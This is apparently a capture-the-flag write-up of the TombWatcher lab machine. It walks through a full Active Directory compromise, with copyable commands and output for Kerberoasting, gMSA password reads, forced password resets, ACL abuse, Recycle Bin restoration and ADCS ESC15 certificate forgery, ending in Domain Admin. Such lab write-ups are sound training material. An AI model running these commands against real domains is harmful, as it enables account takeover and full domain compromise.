Machine Card showing TombWatcher as a medium Windows machine

Reconnaissance

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-06-08 12:11:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T12:13:16+00:00; +4h01m46s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T12:13:15+00:00; +4h01m45s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-08T12:13:16+00:00; +4h01m46s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after:  2025-11-16T00:47:59
|_ssl-date: 2025-06-08T12:13:15+00:00; +4h01m45s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49666/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49724/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_clock-skew: mean: 4h01m45s, deviation: 0s, median: 4h01m44s
| smb2-time:
|   date: 2025-06-08T12:12:37
|_  start_date: N/A

Based on the nmap scan I’m dealing with the Domain Controller DC01 for the tombwatcher.htb domain. I’ll add the domain, hostname and FQDN to my /etc/hosts file.

Initial Access

Info

As is common in real life Windows pentests, you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!

Privilege Escalation

Access as alfred

Since I already possess valid credentials I’ll start by gathering the data for BloodHound via bloodhound-ce-python.

$ bloodhound-ce-python -d tombwatcher.htb \
                       -dc dc01.tombwatcher.htb \
                       -u henry \
                       -p 'H3nry_987TGV!' \
                       -c All \
                       -ns 10.129.221.155 \
                       --dns-tcp \
                       --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: tombwatcher.htb
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.tombwatcher.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 22 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.tombwatcher.htb
INFO: Done in 00M 06S
INFO: Compressing output into 20250608112945_bloodhound.zip

After loading the ZIP archive into the application, I can see one outbound edge from henry to alfred allowing me to modify the Service Principal Name.

BloodHound showing the WriteSPN edge from henry to alfred

Through adding a SPN to alfred I can request a TGS for that account and attempt to bruteforce the password. Adding the attribute and requesting the ticket to extract the hash can be automated with targetedKerberoast.

$ faketime -f +4h python targetedKerberoast.py -d tombwatcher.htb \
                                               -u henry \
                                               -p 'H3nry_987TGV!' \
                                               --request-user alfred
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$10<REDACTED>f1

hashcat just needs a few seconds to produce the cleartext password of basketball for user alfred.

Access as ansible_dev$

Going back to BloodHound shows the user alfred is able to add themself to the INFRASTRUCTURE group, granting all members the privilege to read the password of the group-managed service account ansible_dev$.

BloodHound showing a path from alfred to ansible_dev$

First I add the user alfred to the group and then read the password of the account ansible_dev$. Both steps can be accomplished with bloodyAD.

$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'alfred' \
           -p 'basketball' \
           add groupMember 'INFRASTRUCTURE' 'alfred'
[+] alfred added to INFRASTRUCTURE
 
$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'alfred' \
           -p 'basketball' \
           get object 'ANSIBLE_DEV$' --attr msDS-ManagedPassword
distinguishedName: CN=ansible_dev,CN=Managed Service Accounts,DC=tombwatcher,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:1c37d00093dc2a5f25176bf2d474afdc
msDS-ManagedPassword.B64ENCODED: IIwfpSnxGqOGf+d99xuIBTCl3yqtm6fvywv4pBqe5PN9jsYcLAWn3x1doYf9ZzjBXGB3XoRzPFNwtajDOG304xGmN2CJ4G+5QsLACGGVvu3ZoG4aosUdfpEGuWyYqSyKggtxHtssw1lWLbrZayfWqascdDtBvuaszTpJgmDnLykE6QP+BmmngEkfETLuZ+hH0pP896TujqasQXFyOBkqwVtvXe1Lx9szud4//XTPoejE0KBihHGhzmbQ8pGH9QR9zl21XsohXJA2dd9QAUwgGpCssBhbOPtAalPoaOYDlBE4wrFZNnrYpADsIeYVO/HmXVnGO1e/9XRjcSCEZaHvTw=

Access as sam

BloodHound showing an edge between ansible_dev$ and sam

Once again I check the outbound edges in BloodHound to discover the ability to change the password of user sam by using the credentials for ansible_dev$.

$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'ANSIBLE_DEV$' \
           -p :1c37d00093dc2a5f25176bf2d474afdc \
           set password sam 'Helloworld123!'
[+] Password changed successfully!

Shell as john

BloodHound showing the WriteOwner edge between sam and john

Using sams access I can modify the owner of account john, effectively granting myself GenericAll over the object. This allows me to reset the password and login via evil-winrm thanks to the membership in REMOTE MANAGEMENT USERS to collect the first flag.

$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'sam' \
           -p 'Helloworld123!' \
           set owner john sam
[+] Old owner S-1-5-21-1392491010-1358638721-2126982587-512 is now replaced by sam on john
 
$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'sam' \
           -p 'Helloworld123!' \
           add genericAll john sam
[+] sam has now GenericAll on john
 
$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'sam' \
           -p 'Helloworld123!' \
           set password john 'Helloworld123!'
[+] Password changed successfully!

Shell as Administrator

BloodHound showing GenericAll over OU ADCS

BloodHound is reporting GenericAll from john over the organizational unit ADCS, but the OU is currently completely empty. I then decide to check for soft-deleted objects within the Active Directory Recycle Bin. Enumerating the deleted objects with PowerShell1 finds 3 versions of cert_admin, previously part of ADCS.

PS > Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties cn,objectSid,isDeleted | Where-Object { $_.isDeleted -eq $true }
 
 
CN                : Deleted Objects
Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted         : True
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : 34509cb3-2b23-417b-8b98-13f0bd953319
 
CN                : cert_admin
                    DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3,CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted         : True
Name              : cert_admin
                    DEL:f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
ObjectClass       : user
ObjectGUID        : f80369c8-96a2-4a7f-a56c-9c15edd7d1e3
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1109
 
CN                : cert_admin
                    DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:c1f1f0fe-df9c-494c-bf05-0679e181b358,CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted         : True
Name              : cert_admin
                    DEL:c1f1f0fe-df9c-494c-bf05-0679e181b358
ObjectClass       : user
ObjectGUID        : c1f1f0fe-df9c-494c-bf05-0679e181b358
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1110
 
CN                : cert_admin
                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
Deleted           : True
DistinguishedName : CN=cert_admin\0ADEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf,CN=Deleted Objects,DC=tombwatcher,DC=htb
isDeleted         : True
Name              : cert_admin
                    DEL:938182c3-bf0b-410a-9aaa-45c8e1a02ebf
ObjectClass       : user
ObjectGUID        : 938182c3-bf0b-410a-9aaa-45c8e1a02ebf
objectSid         : S-1-5-21-1392491010-1358638721-2126982587-1111

The name of the OU and the account let me assume that those might be related to the Active Directory Certificate Service and therefore I query the enabled templates via certipy. Within the template WebServer the account with SID S-1-5-21-1392491010-1358638721-2126982587-1111 has enrollment rights.

$ certipy-ad find -dc-host dc01.tombwatcher.htb \
                  -u henry@tombwatcher.htb \
                  -p 'H3nry_987TGV!' \
                  -stdout
 
--- SNIP ---
 
  17
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          S-1-5-21-1392491010-1358638721-2126982587-1111
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\Domain Admins
    [+] User ACL Principals             : TOMBWATCHER.HTB\Domain Admins

Therefore I restore the object 938182c3-bf0b-410a-9aaa-45c8e1a02ebf from the recycle bin.

PS > Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"

Before I can reset the password, I’ll apply a DACL with inheritance granting the user john FullControl over all objects in the OU.

$ impacket-dacledit -action 'write' \
                    -rights 'FullControl' \
                    -inheritance \
                    -principal 'john' \
                    -target-dn 'OU=ADCS,DC=TOMBWATCHER,DC=HTB' \
                    TOMBWATCHER.HTB/john:'Helloworld123!'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
[*] NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*] DACL backed up to dacledit-20250608-105855.bak
[*] DACL modified successfully!
 
$ bloodyAD --host 'dc01.tombwatcher.htb' \
           -d 'tombwatcher.htb' \
           -u 'john' \
           -p 'Helloworld123!' \
           set password cert_admin 'Helloworld123!'
[+] Password changed successfully!

With the new account I rerun certipy to check for vulnerable templates. This time ESC15 is found within template WebServers.

$ certipy-ad find -dc-host dc01.tombwatcher.htb \
                  -u cert_admin@tombwatcher.htb \
                  -p 'Helloworld123!' \
                  -vulnerable \
                  -stdout
 
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 13 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'tombwatcher-CA-1' via RRP
[*] Successfully retrieved CA configuration for 'tombwatcher-CA-1'
[*] Checking web enrollment for CA 'tombwatcher-CA-1' @ 'DC01.tombwatcher.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : tombwatcher-CA-1
    DNS Name                            : DC01.tombwatcher.htb
    Certificate Subject                 : CN=tombwatcher-CA-1, DC=tombwatcher, DC=htb
    Certificate Serial Number           : 3428A7FC52C310B2460F8440AA8327AC
    Certificate Validity Start          : 2024-11-16 00:47:48+00:00
    Certificate Validity End            : 2123-11-16 00:57:48+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : TOMBWATCHER.HTB\Administrators
      Access Rights
        ManageCa                        : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        ManageCertificates              : TOMBWATCHER.HTB\Administrators
                                          TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Enroll                          : TOMBWATCHER.HTB\Authenticated Users
Certificate Templates
  0
    Template Name                       : WebServer
    Display Name                        : Web Server
    Certificate Authorities             : tombwatcher-CA-1
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Extended Key Usage                  : Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 2 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-16T00:57:49+00:00
    Template Last Modified              : 2024-11-16T17:07:26+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
      Object Control Permissions
        Owner                           : TOMBWATCHER.HTB\Enterprise Admins
        Full Control Principals         : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Owner Principals          : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Dacl Principals           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
        Write Property Enroll           : TOMBWATCHER.HTB\Domain Admins
                                          TOMBWATCHER.HTB\Enterprise Admins
                                          TOMBWATCHER.HTB\cert_admin
    [+] User Enrollable Principals      : TOMBWATCHER.HTB\cert_admin
    [!] Vulnerabilities
      ESC15                             : Enrollee supplies subject and schema version is 1.
    [*] Remarks
      ESC15                             : Only applicable if the environment has not been patched. See CVE-2024-49019 or the wiki for more details.

ESC15, tracked as CVE-2024-49019, allows the injection of an Application Policy so that the template can be used for Client Authentication2.

I begin by requesting a new certificate for administrator@tombwatcher.htb while adding the required policy and the SID of the account.

$ certipy-ad req -dc-host dc01.tombwatcher.htb \
                 -u cert_admin@tombwatcher.htb \
                 -p 'Helloworld123!' \
                 -ns 10.129.221.155 \
                 -dns-tcp \
                 -ca 'tombwatcher-CA-1' \
                 -template 'WebServer' \
                 -upn 'administrator@tombwatcher.htb' \
                 -sid S-1-5-21-1392491010-1358638721-2126982587-500 \
                 -application-policies 'Client Authentication'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Then I use the certificate to gain a ldap shell as TOMBWATCHER\Administrator and add the user henry to the Domain Admins group. This allows me to take over the domain and collect the final flag.

$ faketime -f +4h certipy-ad auth -pfx administrator.pfx \
                                  -dc-ip 10.129.221.155 \
                                  -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Certificate identities:
[*]     SAN UPN: 'administrator@tombwatcher.htb'
[*]     SAN URL SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*]     Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Connecting to 'ldaps://10.129.221.155:636'
 
[*] Authenticated to '10.129.221.155' as: 'u:TOMBWATCHER\\Administrator'
Type help for list of commands
 
# whoami
u:TOMBWATCHER\Administrator
 
# add_user_to_group henry 'Domain Admins'
Adding user: henry to group Domain Admins result: OK

Attack Path

flowchart TD

subgraph "Privilege Escalation"
	A(Access as henry) -->|Targeted Kerberoast| B(Access as alfred)
	B -->|AddSelf| C(Member of INFRASTRUCTURE)
	C -->|ReadGMSAPassword| D(Acess as ansible_dev$)
	D -->|Password Change| E(Access as sam)
	E -->|Change ownership| F(Shell as John)
	F -->|Restore user from AD Recycle Bin| G(Access as cert_admin)
	G -->|ESC15| H(Add henry to Domain Admins)
	H --> I(Shell as Administrator)
end

Footnotes

  1. Active Directory Recycle Bin

  2. ESC15: Arbitrary Application Policy Injection in V1 Templates (CVE-2024-49019 “EKUwu”)